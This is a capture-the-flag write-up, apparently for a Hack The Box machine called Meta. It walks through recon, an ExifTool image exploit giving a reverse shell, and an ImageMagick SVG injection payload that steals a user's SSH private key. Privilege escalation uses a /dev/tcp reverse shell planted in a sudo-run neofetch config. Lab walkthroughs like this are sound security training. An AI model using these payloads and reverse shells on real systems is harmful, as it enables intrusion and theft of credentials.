Meta

InfoGathering
IP: 10.129.127.162
# Commands Executed
db_nmap -sC -sV -O -A -oN nmap.results 10.129.127.162

SCOPE

SERVICES

SSH

HTTP
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When I visit http://10.129.127.162 I am automatically forwarded to http://artcorp.htb/ using a 301 permanent redirect

SCREENSHOT EVIDENCE

I added artcorp.htb to my /etc/hosts file and was able to view the site afterwards
# Commands Executed
vi /etc/hosts
# ADDED
10.129.127.162
artcorp.htb

On the sites home page their is a list of possible users who supposedly work at ArtCorp
- Judy E
- Sarah W
- Thomas S

SCREENSHOT EVIDENCE

I fuzzed for subdomains and discovered “dev01” which I also added to my /etc/hosts file
# Command Executed
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.artcorp.htb" -u
http://artcorp.htb -o ffuf.results --fw=1
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2/12

Visiting http://dev01.artcorp.htb took me to a new page

SCREENSHOT EVIDENCE

Gaining Access
Visiting the link for the MetaView app I was taken to a page where I can upload picture files
I viewed the source page of the site to try and discover any filtering that may be applied there. There was nothing in the HTML
It is probably safe to say I am required to upload some type of image file so I attempted to upload a non-image file type
This returned an error that only jpg and png files are allowed

SCREENSHOT EVIDENCE

I generated a malicious image file to upload using exfil tool
SOURCE: https://github.com/convisolabs/CVE-2021-22204-exiftool
I modified the exploit to use my ip address and a port I plan on opening a listener on
# Command Executed
git clone https://github.com/convisolabs/CVE-2021-22204-exiftool.git
sudo apt install -y djvulibre-bin exiftool
vi exploit.py
# Modified values to
ip = '10.10.14.59'
port = '1337'

I then started a listener in Metapsloit
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# Msf Commands
use multi/handler
set -g LHOST 10.10.14.59
set -g LPORT 1337
set payload linux/x86/shell_reverse_tcp
run -j

I then ran the exploit file to generate the malicious jpg
# Command Executed
chmod a+x exploit.py
./exploit.py

SCREENSHOT EVIDENCE

I uploaded the image which immediately connected to my listener giving me a shell

SCREENSHOT EVIDENCE
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In my enumeration I used a tool called pspy to view live running crons on the machine
RESOURCE: https://github.com/DominicBreuker/pspy
I uploaded the file to the target machine by hosting the file on my attack machines HTTP server
# Commands Executed
uname -m # Tells me the architecture
mkdir /dev/shm/.tobor
cd /dev/shm/.tobor
wget http://10.10.14.59/pspy64
chmod a+x pspy64
./pspy64 &

SCREENSHOT EVIDENCE
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While running the tool I discovered a custom script being executed from /usr/local/bin/convert_images.sh running as UID 1000

SCREENSHOT EVIDENCE

I verified that the UID is referring to the user thomas and viewed the contents of the file and killed the pspy64 process
# Command Executed
id 1000
cat /usr/local/bin/convert_images.sh
ps # Showed pspy64 was running with PID 2404
pkill -9 2404

SCREENSHOT EVIDENCE

I checked out mogrify and discovered it is a tool used by ImageMagic that is converting files to PNG format
# Command Executed
usr/local/bin/mogrify -version

SCREENSHOT EVIDENCE
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Searchsploit did not return any exploits but a Google search returned the below article
RESOURCE: https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
Using the article I put together a PoC svg file to try which copies thomas SSH private key into /dev/shm

CONTENTS OF poc.svg
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/
xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>

I then placed the malicious file on the target machine and put it into a directory where images are converted by the cronjob
# Command Executed
cd /dev/shm/.tobor
wget http://10.10.14.59/poc.svg
cp poc.svg /var/www/dev01.artcorp.htb/convert_images/

After waiting a short period of time I was able to read the private SSH key of thomas

SCREENSHOT EVIDENCE
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I copied the file contents and saved it onto my attack machine
I then modified the key to make it usable. After the below command I made sure the BEGIN OPEN SSH and END are on the
same lines
# Command Executed
sed -i 's/ /\n/g' thomas.key

SCREENSHOT EVIDENCE
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CONTENTS OF thomas.key
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-----BEGIN OPENSSH PRIVATE KEY----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn-----END OPENSSH PRIVATE KEY-----

I then modified the permisions of the private key to be correct and used the key to SSH into the machine as thomas
I was then able to read the user flag
# Commands Executed
sudo chmod 600 thomas.key
ssh thomas@artcorp.htb -i thomas.key
cat ~/user.txt
# RESULTS
f4c4a1a3f4abfffc524b1d8a8ccdaf51
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USER FLAG: f4c4a1a3f4abfffc524b1d8a8ccdaf51
PrivEsc
In checking my sudo permissions I discovered I can executed the command /usr/bin/neofeth with root privilieges and no
password
# Command Executed
sudo -l

SCREENSHOT EVIDENCE

There is a config.conf file for neofeth in ~/.config/neofetch/
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Checking the permissions on that file I can see I do have the ability to write to it
# Command Executed
cd ~/.config/neofetch/
ls -la config.conf

I added a reverse shell on the first line of ~/config.conf. I then set the environment variable to use that file
# Added Line
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.59/1338 0>&1"

I started a netcat listener
I then executed the neofetch command with sudo and obtained a root shell. I was then able to read the root flag
# Commands Executed
sudo -u root /usr/bin/neofetch \"\"
cat /root/root.txt

SCREENSHOT EVIDENCE

ROOT FLAG: 6f04841846930abca2045bf8cca81a3d
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